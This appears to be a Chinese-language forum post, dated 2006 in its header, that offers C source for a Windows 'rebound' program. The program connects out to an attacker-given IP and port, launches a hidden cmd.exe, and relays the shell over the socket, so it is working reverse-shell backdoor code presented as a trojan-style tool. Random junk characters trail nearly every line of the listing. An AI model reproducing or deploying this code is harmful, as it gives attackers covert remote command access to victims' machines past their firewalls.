这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Mt[Bq6}ZD
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/* ============================== k1f3?l
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Rebound port in Windows NT %z-dM` i
By wind,2006/7 TV1e
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===============================*/ ]r/(n]=(
#include C(F1VS
#include u}-d7-=
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#pragma comment(lib,"wsock32.lib") I;kf
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void OutputShell(); :u>W&D
SOCKET sClient; eW%L$I
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I" 8d5a}
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void main(int argc,char **argv) lFiq<3Nk
{ /,1SE(
WSADATA stWsaData; Xzx[C_G
int nRet; E/wQ+rv
SOCKADDR_IN stSaiClient,stSaiServer; DC$7B`#D
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if(argc != 3) gB/;clCdX)
{ q4sl=`L5Sp
printf("Useage:\n\rRebound DestIP DestPort\n"); xHEVR!&c4
return; kF(Ce{;z
} o5N]((9
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WSAStartup(MAKEWORD(2,2),&stWsaData); lQh
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "C:rTIH
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stSaiClient.sin_family = AF_INET; }': EJ~H
stSaiClient.sin_port = htons(0); F3r S6_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Rz.i/wg}
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?gd'M_-J,
{ /;(<fh<bY
printf("Bind Socket Failed!\n"); -;+m%"k5
return; X!U]`Qh
} %:"
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stSaiServer.sin_family = AF_INET; Rz`@N`U
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W.yV/fu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); | f"-|6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b%3Q$wIJ6
{ ,]f) ,;=
printf("Connect Error!"); -,R0IGS
return; !?BW_vY
}
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OutputShell(); !aQIh
} D",A$(lG
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void OutputShell() ow-+>Y[qZ
{ OfD@\;L
char szBuff[1024]; =Ml|l$
SECURITY_ATTRIBUTES stSecurityAttributes; a;56k
OSVERSIONINFO stOsversionInfo; |2qR^Hd&5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IgLVn<5n
STARTUPINFO stStartupInfo; ])N|[ |$
char *szShell; !IO&&\5
PROCESS_INFORMATION stProcessInformation; U^B"|lc:[
unsigned long lBytesRead; ?O!]8k`1$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HMF8;,<_w?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vAi"$e
stSecurityAttributes.lpSecurityDescriptor = 0; dj3|f{kg{
stSecurityAttributes.bInheritHandle = TRUE; {VBR/M(q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gB>(xY>LrA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `f%&<,i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F\;2i:(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xy2\'kS`G
stStartupInfo.wShowWindow = SW_HIDE; {V.Wk
stStartupInfo.hStdInput = hReadPipe; IZ+*`E
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (2:
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GetVersionEx(&stOsversionInfo); '^hsH1
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switch(stOsversionInfo.dwPlatformId) ]t*33
{ '-`O.
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case 1: v,n);
szShell = "command.com"; >g=^,G}y
break; >+L7k^[,0
default: !syU]Yk
szShell = "cmd.exe"; a/#+92C
break; 3*G5F}7%=
} eUYZxe :6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a-fv[oB
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send(sClient,szMsg,77,0); S3ErH,XB.
while(1) 9p5= _
{ B@d1xjp)']
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u',b1 3g(
if(lBytesRead) J)_>%.
{ H4W1\u
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3be6p
send(sClient,szBuff,lBytesRead,0); nZ~kZ |VS
} B\f"Iirw
else g-XKP
{ wXz\NGW
lBytesRead=recv(sClient,szBuff,1024,0); X|,["Az
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if(lBytesRead<=0) break; L,#^&9bHa#
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); en%J!<&W{K
} g#w`J\iz
} s}s|~
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return; ^s=*J=k
}